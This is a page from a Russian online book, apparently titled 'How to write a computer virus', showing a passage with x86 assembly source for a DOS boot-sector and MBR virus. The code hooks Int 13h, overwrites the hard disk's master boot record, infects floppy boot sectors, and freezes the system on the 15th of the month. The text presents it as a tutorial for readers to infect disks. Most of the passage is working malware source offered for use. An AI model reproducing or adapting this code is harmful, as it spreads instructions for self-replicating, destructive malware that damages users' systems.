Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 16 17 18 19 20 21 22  23 24 25 26 27
               mov dx,0               ;
               lea bx,bufer           ;
               int 13h                ;
               jnc prg_end            ;
                                      ;
    error:     mov ah,09h             ;Если была оши-
               lea dx,err_mes         ;бка - выведем
               int 21h                ;сообщение о ней
                                      ;
    prg_end:   mov ax,4c00h           ;Завершаем за-
               int 21h                ;пускающую про-
                                      ;грамму
    err_mes    db   'Error !$'        ;Сообщение
    bufer      db   512 dup ( 0 )     ;В этот буфер
                                      ;считывается
                                      ;BOOT - сектор
                                      ;заражаемой
                                      ;дискеты
    prg ends                          ;
    end my_prg                        ;

    Если вирусу не удалось заразить диск, то  выдается
    сообщение " ERROR ! ". В этом случае попытку зара-
    жения просто нужно повторить.
    И еще - если вы хотите узнать, зачем  понадобились
    первые  четыре команды  инсталлятора, вам  следует
    посмотреть  приводимый ниже полный текст  вирусной
    программы. Обратите  внимание на первую команду, а
    именно : " jmp installer ".Инсталлятор замещает ее
    кодом, устанавливающим собственный стек  вируса, и
    поэтому в  заражаемые сектора эта  команда не  по-
    падет.


              1.15 Текст загрузочного вируса

    Ниже представлен текст предлагаемого  загрузочного
    вируса :

    ; _______________________________________________
    ;|                                               |
    ;| BOOT & MBR virus                              |
    ;| Especially for my readers !                   |
    ;|_______________________________________________|

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    my_prg:    jmp installer          ;
               db 0d0h                ;
               mov sp,7bfeh           ;Установка собс-
                                      ;твенного стека
               push ax                ;Сохраним в сте-
               push bx                ;ке используемые
               push cx                ;регистры
               push dx                ;
               push si                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
    sub word ptr ds:[0413h],2         ;"Отрежем" у DOS
               mov ax,ds:[0413h]      ;два килобайта
               mov cl,6               ;памяти и вычис-
                                      ;лим
               sal ax,cl              ;сегментный ад-
                                      ;рес,по которому
                                      ;находится полу-
                                      ;ченный блок
               mov es,ax              ;Поместим адрес
                                      ;в ES
               xor si,si              ;И скопируем код
               mov cx,prg_lenght      ;вируса длиной
    prg_copy:  db 8ah                 ;"prg_lenght" в
               db 9ch                 ;память по адре-
    additor    db 00h                 ;су ES : 0000h
               db 7ch                 ;Сам код при за-
               mov byte ptr es:[si],bl;грузке помещае-
               inc si                 ;тся BIOS по ад-
               loop cs:prg_copy       ;ресу 0000:7C00h
                                      ;
               push ax                ;Запишем в стек
               mov ax,to_read_boot    ;адрес ES:to_re-
               push ax                ;ad_boot и осу-
               db 0cbh                ;ществим переход
                                      ;на этот адрес
    to_read_boot   equ   $ - my_prg   ;
                                      ;
    read_boot: push cs                ;DS = CS
               pop ds                 ;
                                      ;
               xor si,si              ;SI = 0
               mov es,si              ;ES = SI
                                      ;Получим вектор
                                      ;Int 13h и сох-
                                      ;раним его :
    mov bx,word ptr es:[4ch]          ;
    mov word ptr old_13h - 100h,bx    ;
    mov bx,word ptr es:[4eh]          ;
    mov word ptr old_13h_2 - 100h,bx  ;
                                      ;
               mov si,vvv - 100h      ;
    mov word ptr es:[si],to_new_13h   ;И установим
    mov word ptr es:[si + 2],cs       ;вектор Int 13h
                                      ;на вирусный об-
                                      ;работчик
                                      ;
               mov dx,num_head - 100h ;Считаем настоя-
               mov cx,cyl_sect - 100h ;щий загрузочный
               mov bx,7c00h           ;сектор в память
               mov ax,0201h           ;по адресу
               int 13h                ;0000:7C00h

               push cs                ;ES = CS
               pop es                 ;
                                      ;
               mov dl,0080h           ;Считаем MBR
               call cs:read_mbr       ;винчестера
               jc cs:to_quit          ;по адресу
                                      ;CS:0400h, при-
                                      ;чем загрузка
                                      ;сейчас может
                                      ;производиться
                                      ;и с дискеты !
    cmp byte ptr ds:[400h],33h        ;MBR уже зара-
               je cs:to_quit          ;жена ?
                                      ;
               mov dx,0080h           ;Нулевая головка
                                      ;первого жестко-
                                      ;го диска
               mov cx,000ch           ;Сектор 12,
                                      ;дорожка 0
               mov dl_save - 100h,dl  ;
                                      ;Сохраним эти
                                      ;параметры .
               call cs:write_mbr_last ;Кроме того,
                                      ;перепишем нас-
                                      ;тоящую MBR в
                                      ;сектор 12
               jc cs:to_quit          ;нулевой дорожки
                                      ;на нулевой сто-
                                      ;роне HDD .
               xor si,si              ;Сформируем код
               mov additor - 100h,00h ;для записи его
               mov cx,prg_lenght      ;
    copy_vir_mbr:                     ;на место исход-
               mov al,byte ptr ds:[si];ной MBR
    mov byte ptr ds:[si + 400h],al    ;
               inc si                 ;
               loop cs:copy_vir_mbr   ;
                                      ;
               mov dx,0080h           ;Запишем этот
               call cs:write_mbr      ;код в первый
                                      ;сектор нулевой
                                      ;дорожки нулевой
                                      ;стороны винчес-
                                      ;тера
    to_quit:   mov ah,04h             ;Наш
               int 1ah                ;вирус при
               jc cs:bad_clock        ;загрузке по
               cmp dl,15h             ;15 - м числам
    vis:       je cs:vis              ;вешает систему
    bad_clock: popf                   ;Восстановим из
               pop es                 ;стека
               pop ds                 ;регистры
               pop si                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
                                      ;
               db   0eah              ;И отдадим упра-
               dw   7c00h             ;вление настоя-
               dw   0000h             ;щей загрузочной
                                      ;записи ( MBR )

                                      ;Далее следует
                                      ;вирусный обра-
                                      ;ботчик Int 13h
    to_new_13h equ   $ - my_prg       ;
                                      ;
    new_13h:   pushf                  ;Сохраним флаги
               cmp dl,01h             ;Операция с дис-
                                      ;ководом " A "
                                      ;или " B " ?
               ja cs:to_sys_13h       ;Нет !
               cmp ah,02h             ;Чтение ?
               jne cs:to_sys_13h      ;Нет !
               cmp ch,00h             ;Дорожка " 0 " ?
               jne cs:to_sys_13h      ;Нет !
               cmp cl,01h             ;Сектор-первый ?
               je cs:to_sys_13h       ;Да !
               call cs:boot_infect    ;Вызовем проце-
                                      ;дуру заражения
                                      ;BOOT - секторов
                                      ;дискет
    to_sys_13h:                       ;
               popf                   ;Восстановим
                                      ;флаги
               db 0eah                ;Перейдем к сис-
    old_13h    dw 0                   ;темному обра-
    old_13h_2  dw 0                   ;ботчику Int 13h

    boot_infect proc                  ;
               push ax                ;Сохраним реги-
               push bx                ;стры в стеке
               push cx                ;прерванного
               push dx                ;процесса
               push di                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               push cs                ;ES = CS
               pop es                 ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
               mov cx,3               ;Попробуем про-
    next_read: push cx                ;честь BOOT -
                                      ;сектор дискеты.
               call cs:read_mbr       ;На это даем три
               pop cx                 ;попытки (напри-
               jnc cs:inf_check       ;мер,если двига-
                                      ;тель дисковода
                                      ;не успел разо-
                                      ;гнаться до ра-
                                      ;бочей скорости,
                                      ;то BIOS вернет
                                      ;ошибку -дискета
                                      ;сменена ! )
               xor ah,ah              ;При ошибке -
               pushf                  ;сбросим текущий
    call dword ptr old_13h - 100h     ;дисковод
               jc cs:to_jump          ;и повторим
               loop cs:next_read      ;чтение
    to_jump:   jmp cs:restore_regs    ;
                                      ;BOOT - сектор
                                      ;заражен ?
    inf_check: cmp byte ptr ds:[455h],33h
               je cs:to_jump          ;Да !
    cmp word ptr ds:[40bh],200h       ;512 байт в
                                      ;секторе ?
               jne cs:to_jump         ;Нет !
                                      ;
               mov dl_save - 100h,dl
               mov ch,79              ;Определим
               mov dh,byte ptr ds:[415h]
               cmp dh,0f0h            ;параметры
Предыдущая страница Следующая страница
1 ... 16 17 18 19 20 21 22  23 24 25 26 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама